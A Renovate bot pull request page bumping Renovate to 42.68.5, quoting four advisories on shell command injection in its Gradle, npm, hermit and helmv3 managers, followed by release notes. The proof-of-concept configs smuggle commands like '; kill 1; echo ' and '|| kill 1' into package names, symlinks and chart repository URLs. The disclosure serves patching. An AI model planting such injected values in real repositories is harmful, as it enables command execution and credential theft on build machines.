Skip to content

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Jan 13, 2026

Note: This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
renovate (source) 37.440.742.68.5 age confidence

GitHub Vulnerability Alerts

GHSA-pfq2-hh62-7m96

Summary

Renovate can be tricked into executing shell code while updating the Gradle Wrapper. A malicious distributionUrl in gradle/wrapper/gradle-wrapper.properties can lead to command execution in the Renovate runtime.

Details

When Renovate handles Gradle Wrapper artifacts, it may run a wrapper update command such as:

  • ./gradlew :wrapper --gradle-distribution-url <value>

In the observed behavior, Renovate executes this via a shell (e.g., /bin/sh -c ...).
If distributionUrl contains shell command substitution syntax like $(...), the shell evaluates it before Gradle validates/parses the URL.

After that, Gradle attempts to parse the URL as a URI and fails with URISyntaxException, but the shell substitution has already executed.

This is reproducible even when allowScripts is disabled (default is OFF), because this execution happens as part of Gradle Wrapper artifact handling rather than “repository install scripts”.

Prerequisites / attack conditions:

  • The attacker must be able to get a malicious gradle-wrapper.properties into a repository that Renovate scans (e.g., direct write access, or a maintainer merges an attacker’s change/PR).
  • Renovate must be configured to process Gradle Wrapper updates/artifacts for that repository (default behavior for the Gradle Wrapper manager).

PoC

  1. Create a repository with a Gradle Wrapper (gradlew, gradlew.bat, gradle/wrapper/gradle-wrapper.jar, and gradle/wrapper/gradle-wrapper.properties).
  2. Set distributionUrl in gradle-wrapper.properties to include $(...).
  3. Run Renovate against the repository.
  4. Observe that a file is created during Renovate’s wrapper update step before Gradle fails with URISyntaxException.

A screen recording is attached showing end-to-end reproduction. In the demo, the payload creates /tmp/passwd_dump containing /etc/passwd, demonstrating that file read/exfiltration is possible within the Renovate execution context.

Impact

This allows arbitrary command execution in the Renovate runtime during Gradle Wrapper updates. Depending on deployment, this may expose credentials/tokens available to the bot and may allow an attacker to modify repositories or access internal resources reachable from the Renovate environment.

Remediation

Upgrading to Renovate 42.68.5 (2025-12-31) fixes this issue, and closes out other risks of shell evaluation for commands run by Renovate.

If using the composer, yarn (v1) or flux managers, please upgrade to 42.74.5 (2026-01-08), as there were follow-up fixes to keep these managers working.

GHSA-fr4j-65pv-gjjj

Summary

The user-provided string packageName in the npm manager is appended to the npm install command during lock maintenance without proper sanitization.

Details

Adversaries can provide a maliciously crafted Renovate configuration file to trick Renovate to execute arbitrary code.
The user-provided workspace names and package keys that are added to the updateCmd variables in lib/modules/manager/npm/post-update/npm.ts are not being escaped using the quote function from the shlex package.
This lack of proper sanitization has been present in the product since version 35.63.0 (renovatebot/renovate@012c0ac), released on April 27 of 2023.

PoC

  1. Create a git repo with the following content:

renovate.json5:

{
  $schema: "https://docs.renovatebot.com/renovate-schema.json",
  customDatasources: {
    always: {
      defaultRegistryUrlTemplate: "https://docs.renovatebot.com/search/search_index.json",
      transformTemplates: ['{"releases":[{"version":"11.1.0"}]}'],
    },
  },
  packageRules: [
    {
      // Target of the day
      matchManagers: ["npm"],
      // Provide a command in the package name
      overridePackageName: "; kill 1; echo ",
      // Override the datasource to prevent a lookup failure
      overrideDatasource: "custom.always",
    },
  ],
}

package.json:

{
  "name": "renovate-aci-4",
  "version": "0.0.1",
  "dependencies": {
    "uuid": "^11.0.0"
  }
}

package-lock.json:

{
  "name": "renovate-aci-4",
  "version": "0.0.1",
  "lockfileVersion": 3,
  "requires": true,
  "packages": {
    "": {
      "name": "renovate-aci-4",
      "version": "0.0.1",
      "dependencies": {
        "uuid": "^11.0.0"
      }
    },
    "node_modules/uuid": {
      "version": "11.0.0",
      "resolved": "https://registry.npmjs.org/uuid/-/uuid-11.0.0.tgz",
      "integrity": "sha512-iE8Fa5fgBY4rN5GvNUJ8TSwO1QG7TzdPfhrJczf6XJ6mZUxh/GX433N70fCiJL9h8EKP5ayEIo0Q6EBQGWHFqA==",
      "funding": [
        "https://github.com/sponsors/broofa",
        "https://github.com/sponsors/ctavan"
      ],
      "license": "MIT",
      "bin": {
        "uuid": "dist/esm/bin/uuid"
      }
    }
  }
}
  1. Run Renovate against the repo from a Docker container. Notice that the process terminates without reporting "Repository finished", because the ACI vulnerability allowed for execution of kill 1, terminating the root process of the container.

Note

This specific proof of concept relies on the introduction of the overrideDatasource and overridePackageName configuration, available since version 38.120.0 (renovatebot/renovate@a70a6a3), released on October 12 of 2024.

Impact

This is a Arbitrary Command Injection vulnerability, allowing those with write access on repositories configured to be scanned by Renovate to cause the execution of commands of their choice on the machine that runs Renovate.

GHSA-36j9-mx87-2cff

Summary

The user-provided string depName in the hermit manager is appended to the ./hermit install and ./hermit uninstall commands without proper sanitization.

Details

Adversaries can provide a maliciously named hermit dependency in conjunctions with a tweaked Renovate configuration file to trick Renovate to execute arbitrary code.
All values added to the packagesToInstall and packagesToUninstall variables in lib/modules/manager/hermit/artifacts.ts are not being escaped using the quote function from the shlex package.
This lack of proper sanitization for installing packages has been present in the product since the introduction of the hermit manager in version 32.135.0 (renovatebot/renovate@b696abb), released on July 30 of 2022.
In version 37.199.1 (renovatebot/renovate@eaec10d) some use of the quote function from the shlex package was added, but not in a way that usefully prevented this arbitrary code injection vulnerability.
When support for replacements was introduced with version 37.214.4 (renovatebot/renovate@41e8b99), the same faulty approach was replicated for uninstalling packages.

PoC

  1. Create a git repo with the following content:

renovate.json5:

{
  $schema: "https://docs.renovatebot.com/renovate-schema.json",
  customDatasources: {
    always: {
      defaultRegistryUrlTemplate: "https://docs.renovatebot.com/search/search_index.json",
      transformTemplates: ['{"releases":[{"version":"99999.0.0"}]}'],
    },
  },
  packageRules: [
    {
      // Target of the day
      matchManagers: ["hermit"],
      // Trick the manager in believing there's a new version
      overrideDatasource: "custom.always",
    },
  ],
}

bin/hermit:

#!/bin/bash
#

# THIS FILE IS GENERATED; DO NOT MODIFY

set -eo pipefail

export HERMIT_USER_HOME=~

if [ -z "${HERMIT_STATE_DIR}" ]; then
  case "$(uname -s)" in
  Darwin)
    export HERMIT_STATE_DIR="${HERMIT_USER_HOME}/Library/Caches/hermit"
    ;;
  Linux)
    export HERMIT_STATE_DIR="${XDG_CACHE_HOME:-${HERMIT_USER_HOME}/.cache}/hermit"
    ;;
  esac
fi

export HERMIT_DIST_URL="${HERMIT_DIST_URL:-https://github.com/cashapp/hermit/releases/download/stable}"
HERMIT_CHANNEL="$(basename "${HERMIT_DIST_URL}")"
export HERMIT_CHANNEL
export HERMIT_EXE=${HERMIT_EXE:-${HERMIT_STATE_DIR}/pkg/hermit@${HERMIT_CHANNEL}/hermit}

if [ ! -x "${HERMIT_EXE}" ]; then
  echo "Bootstrapping ${HERMIT_EXE} from ${HERMIT_DIST_URL}" 1>&2
  INSTALL_SCRIPT="$(mktemp)"
  # This value must match that of the install script
  INSTALL_SCRIPT_SHA256="09ed936378857886fd4a7a4878c0f0c7e3d839883f39ca8b4f2f242e3126e1c6"
  if [ "${INSTALL_SCRIPT_SHA256}" = "BYPASS" ]; then
    curl -fsSL "${HERMIT_DIST_URL}/install.sh" -o "${INSTALL_SCRIPT}"
  else
    # Install script is versioned by its sha256sum value
    curl -fsSL "${HERMIT_DIST_URL}/install-${INSTALL_SCRIPT_SHA256}.sh" -o "${INSTALL_SCRIPT}"
    # Verify install script's sha256sum
    openssl dgst -sha256 "${INSTALL_SCRIPT}" | \
      awk -v EXPECTED="$INSTALL_SCRIPT_SHA256" \
      '$2!=EXPECTED {print "Install script sha256 " $2 " does not match " EXPECTED; exit 1}'
  fi
  /bin/bash "${INSTALL_SCRIPT}" 1>&2
fi

exec "${HERMIT_EXE}" --level=fatal exec "$0" -- "$@&#8203;"

bin/.|| kill 1 ||@&#8203;0.0.1.pkg (symlink):

A symlink to hermit

  1. Run Renovate against the repo from a Docker container. Notice that the process terminates without reporting "Repository finished", because the ACI vulnerability allowed for execution of kill 1, terminating the root process of the container.

Note

This specific proof of concept was made a lot simpler with the introduction of the overrideDatasource configuration since version 38.120.0 (renovatebot/renovate@a70a6a3), released on October 12 of 2024, because it means that there is no more need for a proper response from an actual hermit-packages repository during resolution.

Impact

TThis is a Arbitrary Command Injection vulnerability, allowing those with write access on repositories configured to be scanned by Renovate to cause the execution of commands of their choice on the machine that runs Renovate.

GHSA-3f44-xw83-3pmg

Summary

The user-provided string repository in the helmv3 manager is appended to the helm registry login command without proper sanitization.

Details

Adversaries can provide a maliciously crafted Chart.yaml in conjunctions with a tweaked Renovate configuration file to trick Renovate to execute arbitrary code.
The value for both uses of the repository variable in lib/modules/manager/helmv3/common.ts are not being escaped using the quote function from the shlex package.
This lack of proper sanitization has been present in the product since version 31.51.0 (renovatebot/renovate@f372a68), released on January 24 of 2022.

PoC

  1. Create a git repo with the following content:

renovate.json5:

{
  $schema: "https://docs.renovatebot.com/renovate-schema.json",
  customDatasources: {
    always: {
      defaultRegistryUrlTemplate: "https://docs.renovatebot.com/search/search_index.json",
      transformTemplates: ['{"releases":[{"version":"99999.0.0"}]}'],
    },
  },
  // Register any credentials to make the manager attempt to use basic auth for the Helm registry
  hostRules: [
    {
      matchHost: "charts.bitnami.com",
      username: "un",
      password: "pw",
    },
  ],
  packageRules: [
    {
      // Target of the day
      matchManagers: ["helmv3"],
      // Don't consult the actual bitnami repo
      registryUrls: [],
      // But still, trick the manager in believing there's a new version
      overrideDatasource: "custom.always",
    },
  ],
}

Chart.yaml:

apiVersion: v2
name: renovate-aci-1
version: 0.0.1
dependencies:
  - name: redis
    version: 0.1.0
    repository: oci://charts.bitnami.com/bitnami || kill 1

Chart.lock:

dependencies:
- name: redis
  repository: oci://charts.bitnami.com/bitnami
  1. Run Renovate against the repo from a Docker container. Notice that the process terminates without reporting "Repository finished", because the ACI vulnerability allowed for execution of kill 1, terminating the root process of the container.

Note

This specific proof of concept was made a lot simpler with the introduction of the overrideDatasource configuration since version 38.120.0 (renovatebot/renovate@a70a6a3), released on October 12 of 2024, because it means that there is no more need for a proper response from an actual Helm registry on the malformed repository URL.

Impact

This is a Arbitrary Command Injection vulnerability, allowing those with write access on repositories configured to be scanned by Renovate to cause the execution of commands of their choice on the machine that runs Renovate.


Release Notes

renovatebot/renovate (renovate)

v42.68.5

Compare Source

Bug Fixes
  • postUpgradeTasks: always run commands with shell mode (140a777)
  • util/exec: don't use shell by default (f430552)
Documentation
  • self-hosting: note risk of postUpgradeTasks with shell execution (d2872e2)
Code Refactoring
  • github-actions: Simplify line parsing (#​40216) (fb80abb)
  • util/exec: specify the args array for execa (a0a84a4)
  • util/exec: use spawnargs to return error messages (b19c3ee)
Tests
  • only validate subset of arguments to exec (bebff1c)
  • remove encoding from stubs (#​40221) (8fab5f0)
  • util/exec: clarify existing behaviour of shell parameter (d0bee7f)
  • util/exec: document ability to use arguments with spaces (c5c98ea)

v42.68.4

Compare Source

Bug Fixes
  • deps: update ghcr.io/renovatebot/base-image docker tag to v12.20.9 (main) (#​40224) (51d097e)

v42.68.3

Compare Source

Bug Fixes
  • deps: update ghcr.io/renovatebot/base-image docker tag to v12.20.8 (main) (#​40223) (847413f)
Miscellaneous Chores

v42.68.2

Compare Source

Bug Fixes
  • deps: update ghcr.io/containerbase/sidecar docker tag to v13.25.19 (main) (#​40219) (16a1325)
  • deps: update ghcr.io/renovatebot/base-image docker tag to v12.20.7 (main) (#​40220) (9d6553d)

v42.68.1

Compare Source

Bug Fixes
Miscellaneous Chores
  • deps: update dependency pnpm to v10.26.2 (main) (#​40217) (fdbeaba)
  • deps: update ghcr.io/containerbase/devcontainer docker tag to v13.25.19 (main) (#​40218) (3d8cca4)

v42.68.0

Compare Source

Features
Miscellaneous Chores
  • deps: update containerbase/internal-tools action to v3.14.42 (main) (#​40214) (73c14df)

v42.67.0

Compare Source

Features
Documentation
Miscellaneous Chores
Code Refactoring

v42.66.14

Compare Source

Bug Fixes
  • deps: update ghcr.io/renovatebot/base-image docker tag to v12.20.6 (main) (#​40207) (ac0e6ae)

v42.66.13

Compare Source

Bug Fixes
  • deps: update ghcr.io/renovatebot/base-image docker tag to v12.20.5 (main) (#​40206) (a7d4425)
Miscellaneous Chores
Code Refactoring

v42.66.12

Compare Source

Bug Fixes
Documentation
Miscellaneous Chores
Code Refactoring

v42.66.11

Compare Source

Bug Fixes
Miscellaneous Chores

v42.66.10

Compare Source

Bug Fixes

v42.66.9

Compare Source

Build System

v42.66.8

Compare Source

Bug Fixes
  • deps: update ghcr.io/renovatebot/base-image docker tag to v12.20.4 (main) (#​40161) (7c08a22)
Miscellaneous Chores

v42.66.7

Compare Source

Miscellaneous Chores
Build System
  • deps: update dependency validate-npm-package-name to v7.0.1 (main) (#​40159) (fc5f112)

v42.66.6

Compare Source

Build System

v42.66.5

Compare Source

Build System

v42.66.4

Compare Source

Build System

v42.66.3

Compare Source

Bug Fixes
  • deps: update ghcr.io/renovatebot/base-image docker tag to v12.20.3 (main) (#​40148) (5266ce6)

v42.66.2

Compare Source

Bug Fixes
  • deps: update ghcr.io/renovatebot/base-image docker tag to v12.20.2 (main) (#​40133) (c5105d0)
Miscellaneous Chores

v42.66.1

Compare Source

v42.66.0

Compare Source

v42.65.2

Compare Source

Bug Fixes
  • deps: update ghcr.io/containerbase/sidecar docker tag to v13.25.18 (main) (#​40113) (ef0a84b)
Miscellaneous Chores
  • deps: update dependency pnpm to v10.26.0 (main) (#​40111) (d5b91ba)
  • deps: update ghcr.io/containerbase/devcontainer docker tag to v13.25.18 (main) (#​40112) (d6f3876)

v42.65.1

Compare Source

Bug Fixes
  • deps: update ghcr.io/renovatebot/base-image docker tag to v12.19.4 (main) (#​40110) (e6dd79a)
Build System
  • deps: update dependency azure-devops-node-api to v15.1.2 (main) (#​40109) (6803124)

v42.65.0

Compare Source

Features
Bug Fixes
  • deps: update ghcr.io/containerbase/sidecar docker tag to v13.25.17 (main) (#​40108) (e659a7c)
Documentation
Miscellaneous Chores

v42.64.1

Compare Source

Build System

v42.64.0

Compare Source

Features
Code Refactoring

v42.63.0

Compare Source

Features
Bug Fixes
  • composer: Remove composer.lock file for lock file maintenance (#​39920) (a30c550)
Miscellaneous Chores

v42.62.0

Compare Source

Features
Bug Fixes
  • deps: update dependency mkdocs-material to v9.7.1 (main) (#​40062) (0646aad)
Documentation
  • gradle: clarify ./gradlew for Verificaton Metadata updates (#​40044) (0723e80)

v42.61.0

Compare Source

Features

v42.60.0

Compare Source

Features
  • presets: add new preset workarounds:clamavDockerImageVersioning (#​40035) (dfde989)
Documentation
Miscellaneous Chores
Code Refactoring

v42.59.1

Compare Source

Bug Fixes

v42.59.0

Compare Source

Features

v42.58.4

Compare Source

Bug Fixes
  • deps: update ghcr.io/renovatebot/base-image docker tag to v12.19.3 (main) (#​40036) (179d527)

v42.58.3

Compare Source

Bug Fixes
Miscellaneous Chores
  • deps: update github/codeql-action action to v4.31.9 (main) (#​40029) (a39c529)

v42.58.2

Compare Source

Bug Fixes
  • deps: update ghcr.io/renovatebot/base-image docker tag to v12.19.2 (main) (#​40025) (54cf847)

v42.58.1

Compare Source

Miscellaneous Chores
Code Refactoring
Build System

v42.58.0

Compare Source

Features
Bug Fixes
  • add missing type definitions for autoApprove and prTitleStrict (#​40016) (e4dd2d2)
  • deps: update ghcr.io/renovatebot/base-image docker tag to v12.19.1 (main) (#​40023) (fde321f)
  • github/vulnerabilityAlerts: don't error on unknown ecosystems (#​39417) (2809af3)
Miscellaneous Chores

v42.57.1

Compare Source

Bug Fixes
Miscellaneous Chores
  • deps: update dependency typescript-eslint to v8.49.0 (main) (#​40012) (0554c76)

v42.57.0

Compare Source

Features

v42.56.0

Compare Source

Features
  • deps: update ghcr.io/renovatebot/base-image docker tag to v12.19.0 (main) (#​40010) (b0b573c)

v42.55.0

Compare Source

Features
  • deps: update ghcr.io/renovatebot/base-image docker tag to v12.18.0 (main) (#​40009) (51e96cf)
Miscellaneous Chores

v42.54.3

Compare Source

Bug Fixes
  • deps: update ghcr.io/renovatebot/base-image docker tag to v12.17.7 (main) (#​40005) (0669245)

v42.54.2

Compare Source

Bug Fixes
  • deps: update ghcr.io/containerbase/sidecar docker tag to v13.25.16 (main) (#​40003) (4aae3f7)
Miscellaneous Chores

v42.54.1

Compare Source

Bug Fixes
  • presets: helpers:githubDigestChangelogs should only apply to Git digest updates (#​39995) (1bd574c)

[v42.54.0](https://redirec


Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot assigned Kit-p Jan 13, 2026
@renovate renovate bot requested a review from Kit-p January 13, 2026 21:05
@Kit-p Kit-p merged commit bf531bd into main Jan 14, 2026
@renovate renovate bot deleted the renovate/npm-renovate-vulnerability branch January 14, 2026 04:00
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants